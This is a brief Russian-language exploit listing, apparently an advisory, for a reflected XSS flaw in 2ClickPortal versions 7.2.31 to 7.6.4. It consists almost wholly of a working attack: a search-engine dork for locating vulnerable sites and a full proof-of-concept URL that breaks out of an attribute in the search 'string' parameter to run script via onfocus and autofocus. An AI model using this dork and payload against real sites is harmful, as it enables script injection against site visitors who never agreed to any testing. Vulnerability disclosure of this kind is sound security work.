
Эксплойт proof-of-concept для отраженной XSS-уязвимости в 2ClickPortal версий с 7.2.31 по 7.6.4, с полезной нагрузкой инъекции параметра поиска.
Отражённый XSS в 2ClickPortal
Версия: с 7.2.31 по 7.6.4.
intext:"Powered by 2ClickPortal"
https://[domain]/szukaj/?search_lang=pl&search=all&string=" onfocus=alert(1) autofocus="